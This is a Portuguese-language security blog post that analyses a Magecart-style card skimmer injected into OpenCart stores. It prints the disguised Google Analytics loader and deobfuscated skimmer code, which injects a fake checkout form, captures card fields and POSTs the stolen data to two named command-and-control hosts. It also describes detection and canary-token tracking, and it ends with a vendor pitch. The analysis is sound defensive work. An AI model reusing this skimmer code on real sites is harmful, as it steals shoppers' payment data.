Skip to main content
Blog
Blog

Magecart mirando sites de e-commerce do Leste Asiático no OpenCart

Detectamos um ataque no estilo Magecart direcionado à plataforma de CMS OpenCart

Jul 15, 2025 7 min read
banner-of-this-article-on-black-and-blue-background

Resumo: overlay de checkout falso em OpenCart com skimmer de C2 duplo

  • A plataforma esquecida: O Magento leva toda a cobertura de Magecart. O OpenCart roda milhares de lojas do Leste Asiatico com quase nada disso, e justamente por isso esta campanha morava la. Os atacantes migram para a plataforma que sua lista de fornecedores esqueceu.
  • Como funcionou: O script injetado se disfarcava de Google Analytics ou Tag Manager, decodificava Base64 para /tagscart[.]shop/cdn/analytics.min.js, escondia o formulario real de pagamento, o substituia e fazia POST dos dados de cartao para ultracart[.]shop e hxjet.pics como C2 duplo. A cside sinaliza comportamento anomalo de script como loaders que imitam GA carregando de dominios estranhos antes de o checkout renderizar.
  • Faça isto já: Se voce roda OpenCart ou qualquer cart nao-Magento com trafego do Leste Asiatico, nao presuma que o Magecart te ignora. Coloque inspecao de scripts em runtime na frente do checkout esta semana, ou descubra o skimmer meses depois quando cair uma cobranca de €47,80 de um vendedor desconhecido.

Sem tempo? Veja o bloqueio de Magecart e skimmers no navegador da cside. Cobre tudo o que se segue numa única implementação.

Detectamos um ataque no estilo Magecart direcionado à plataforma de CMS OpenCart. A campanha parece estar focada em sites de e-commerce no Leste Asiático. Magecart tornou-se um termo usado como sinônimo de ataques client-side, originado de Magento + Cart.

Como aconteceu o ataque de injeção de script

O script malicioso é injetado diretamente na página inicial do site. Ele fica escondido entre integrações legítimas de terceiros, como Facebook Pixel, Meta Pixel e Google Tag Manager. Comportamento típico de um ataque client-side.

Veja o trecho que continha o malware injetado:

<!-- End Facebook Pixel Code -->
<!-- Meta Pixel Code -->
<!-- Google Tag Manager -->
<script type="text/javascript">
(function(i,s,o,g,r,a,m){
    i['Google'+'Analytics'+'Objects']=r;
    a=s.createElement(g), m=s.getElementsByTagName(g)[0];
    if(i.location['href'].indexOf(i.atob(r)) > 0){
        a.async=1;
        a.src=''+i.atob(o);
        m.parentNode['insertBefore'](a,m);
        r=1;
    }
})(window,document,'Ly90YWdzY2FydC5zaG9wL2Nkbi9hbmFseXRpY3MubWluLmpz','script','L'+'w'+'='+'=', '//www.google-analytics[.]com/analytics.js','ga');
</script>
<!-- End Google Tag Manager -->

À primeira vista, parece uma integração normal do Google Analytics ou Tag Manager, mas não é.

O payload decodificado em Base64 aponta para:

/tagscart[.]shop/cdn/analytics.min.js

Assim que esse script é carregado:

  1. Ele cria um elemento <script>.
  2. Define seu src para o analytics.min.js malicioso.
  3. Injeta na página antes de qualquer tag de script existente.

Comportamento do script malicioso

O script de /tagscart[.]shop/cdn/analytics.min.js estava fortemente ofuscado.

Algumas técnicas utilizadas:

  • Referências de caracteres hexadecimais (indexação com 0x...)
  • Divisão de arrays e recombinação dinâmica (.split('|'))
  • Uso perigoso de eval() para executar código decodificado dinamicamente
  • Execução silenciosa via try { onLoad(); } catch {}

Após a desofuscação

Observando as partes mais importantes:

// #################### C2 INFRASTRUCTURE ####################
var sAdsUrl1 = '//ultracart[.]shop/g.php';  // Servidor C2 malicioso
var sAdsUrl2 = '//hxjet.pics/g.php';       // Servidor C2 de backup

// #################### FAKE FORM INJECTION ####################
// Injeção no fluxo padrão de checkout
function onTimerStd() {
    // ... (omitido por brevidade)
    var sHtml = '<div class="cctdQKvkR-form-container" style="..." id="ccAq1TBAY_form_main"> <!-- Fake payment form HTML --> </div>';
    vTargetBlocks.insertAdjacentHTML('beforeend', sHtml);  // Injeta formulário falso

    // Configuração de máscara de entrada
    (new InputMask).Initialize(document.getElementsByName("payment[cc_number]"), {
        mask: "9999 9999 9999 99999999",  // Formatação de cartão de crédito
        placeHolder: "Valid Card Number"
    });
    // ... similar para campos de data e CVC
}

// #################### DATA CAPTURE EVENTS ####################
var vPaymentElements = ['payment[cc_number]', 'payment[date]', 'payment[cc_cid]'];
// Anexa listeners aos campos de pagamento
for (var i = 0; i < vPaymentElements.length; ++i) {
    var hEl = document.getElementsByName(vPaymentElements[i])[0];
    if (hEl) {
        hEl.addEventListener('blur', mainListener);  // Captura quando o foco sai do campo
        hEl.addEventListener('keydown', mainListener);  // Captura teclas pressionadas
        hEl.addEventListener('paste', mainListener);  // Captura dados colados
    }
}

// #################### DATA VALIDATION ####################
function mainListener(e) {
    var iCodeLength = 3;
    try {
        if (document.getElementsByName('payment[cc_number]')[0].value[0] == '3')
            iCodeLength = 4  // Ajusta validação para cartões Amex
    } catch (e) {}

    // Verificações de validação antes da exfiltração
    if (document.getElementsByName('payment[cc_cid]')[0].value.length < iCodeLength)
        return;  // Exige comprimento mínimo do CVC
    if (document.getElementsByName('payment[date]')[0].value.length < 7)
        return;  // Exige data de validade completa



    // ... (lógica de exfiltração de dados)
}
// #################### DATA EXFILTRATION ####################
function sendData(sUrl, sData) {
    var xmlhttp = getXmlHttp();
    xmlhttp.open('POST', sUrl, true);
    xmlhttp.setRequestHeader("Content-type", "application/x-www-form-urlencoded");
    xmlhttp.send('d=' + encodeURIComponent(sData) + '&m=' + iMethod.toString() + '&p=' + iPid.toString());
}

function mainListener(e) {
    // ... (verificações de validação)
    var sDump = JSON.stringify({
        "u": window.location.href,  // Captura a URL atual
        "f": vData  // Dados do formulário roubados
    });
    sDump = Base64.encode(sDump);  // Codifica os dados
    iMethod = 1;
    sendData(sAdsUrl1, sDump);  // Envia para o primeiro C2
    sendData(sAdsUrl2, sDump);  // Envia para o C2 de backup
}

// #################### FORM HIDING ####################
function onTimerStd() {
    // ... (após a injeção)
    var hDiv = document.getElementById('ccAq1TBAY_form_main');
    if (hDiv != null) {
        hDiv.style.display = 'none'  // Oculta o formulário de pagamento original
    }
    // ... (exibe o formulário falso)
}

Funcionalidades maliciosas

  • Injeção de formulário de pagamento falso: Cria dinamicamente um formulário falso de cartão de crédito (HTML + CSS).
  • O formulário falso é injetado nas páginas de checkout.
  • Lógica de coleta de dados:
    • Monitora a entrada do usuário em campos como: payment[cc_number]
    • payment[date]
    • payment[cc_cid]
  • Escuta os eventos blur, paste e keydown.
  • Validação antes da exfiltração:
    • Verifica se os campos do cartão parecem válidos (ex.: comprimento do CVC, formato da data de validade).
  • Exfiltração via requisição POST:
    • Após a validação, codifica em Base64 e captura os dados (incluindo a URL da página atual) e os envia para://ultracart[.]shop/g.php
    • //hxjet.pics/g.php
  • Ocultação e substituição do formulário:
    • O formulário de pagamento original é ocultado.
    • O formulário falso é exibido em seu lugar, estilizado para parecer legítimo.
  • Máscara de entrada:
    • Implementa um InputMask personalizado para fazer os campos parecerem "profissionais" (ex.: formatação automática de números de cartão de crédito).
  • Comportamento inesperado

    Ao contrário de alguns ataques Magecart tradicionais, esse script de terceiros não copia dados da área de transferência. Os usuários são forçados a inserir os dados do cartão manualmente. Além disso, após a inserção dos dados do cartão, as informações são enviadas imediatamente para o servidor do atacante. Em seguida, o formulário de pagamento por cartão é ocultado e o usuário é solicitado a inserir os dados de transação bancária para capturar informações adicionais sensíveis.

    Página de pagamento falsa

    Página de pagamento falsa do OpenCart que captura os dados do cartão da vítima

    Página de pagamento falsa após a inserção do cartão, exibindo a página de dados bancários

    Página de dados bancários falsa exibida após a inserção do cartão para roubar mais dados sensíveis

    Requisição POST capturada para o C2

    Requisição POST capturada que exfiltra os dados roubados para o servidor C2

    Dados postados em Base64

    Dados de cartão roubados codificados em Base64, conforme enviados ao servidor C2

    Payload decodificado

    Payload decodificado revelando os dados de pagamento exfiltrados

    Como monitoramos o uso

    Para rastrear o ataque, entender como os dados são gerenciados ou utilizados, ou onde estão sendo vendidos, costumamos usar canary tokens para rastreamento. Isso é o que encontramos:

    Curiosamente, na maioria dos casos, vemos o uso do cartão roubado nos dias seguintes. No entanto, neste caso, levou vários meses.

    Neste exemplo, identificamos dois usos. O primeiro ocorreu em 18 de junho por meio de uma transação pay-by-phone originada dos EUA.

    Registro com canary token da primeira cobrança fraudulenta, uma transação pay-by-phone dos EUA em 18 de junho

    Uma segunda transação foi realizada no valor de €47,80 para um fornecedor desconhecido.

    Registro da segunda cobrança fraudulenta, €47,80 a um vendedor desconhecido

    Rastrear esses ataques nos dá uma compreensão melhor das pessoas por trás deles e de como as campanhas de ataque evoluem.

    Nossa plataforma de detecção identificou esse ataque usando uma combinação de:

    • Comportamento anômalo de scripts: Scripts que se passam por legítimos (Google Analytics / GTM), mas que carregam conteúdo de domínios suspeitos.
    • Padrões de JavaScript ofuscado: Uso de eval dinâmico, decodificação em base64 e manipulação suspeita de arrays.
    • Detecção de substituição de formulários: Monitoramento de formulários falsos injetados em fluxos de checkout conhecidos.

    Monitoramento de domínios de ameaça: tagscart[.]shop, ultracart[.]shop e hxjet[.]pics já estavam sinalizados em nossos feeds de inteligência de ameaças.

    Considerações finais

    Na cside, monitoramos continuamente scripts de terceiros e ativos web para detectar e prevenir ataques client-side como este.

    Nossa plataforma de detecção foi projetada para:

    • Identificar injeções de scripts não autorizadas
    • Analisar comportamentos suspeitos em tempo real
    • Bloquear ataques antes que dados sensíveis dos clientes possam ser roubados

    Ao proteger proativamente os sites contra ameaças client-side, ajudamos as empresas a preservar a confiança de seus clientes e a se manterem um passo à frente dos ataques de segurança web em constante evolução.

    Himanshu Anand
    Software Engineer

    I'm a software engineer and security analyst.

    Monitore e proteja seus scripts de terceiros

    Gain full visibility and control over every script delivered to your users to enhance site security and performance.

    Comece grátis ou experimente o Business com um teste de 14 dias.

    Interface do painel cside mostrando monitoramento de scripts e análises de segurança
    Related Articles
    Agende uma demonstração

    Quer ver isso em detalhe com um engenheiro?

    Trinta minutos, no seu próprio site. Sem slides.

    Vamos mostrar:

    Quais scripts de terceiros estão rodando no seu site agora
    Como você está em relação aos requisitos 6.4.3 e 11.6.1 do PCI DSS
    Qual parte do seu tráfego é de bots e agentes de IA

    Prefere só mandar uma pergunta?

    Procurando horários livres…

    Apenas humanos de verdade. A gente saberia.

    Problemas para agendar? Abrir o agendador em uma nova aba

    O que você está tentando resolver?

    Conte em uma linha e voltamos com algo útil, não com um discurso genérico.

    Costumamos ajudar com:

    Ver quais scripts de terceiros rodam no seu site
    Evidências para PCI DSS 6.4.3 e 11.6.1
    Bots, agentes de IA e roubo de contas

    Prefere agendar um horário? Escolher um horário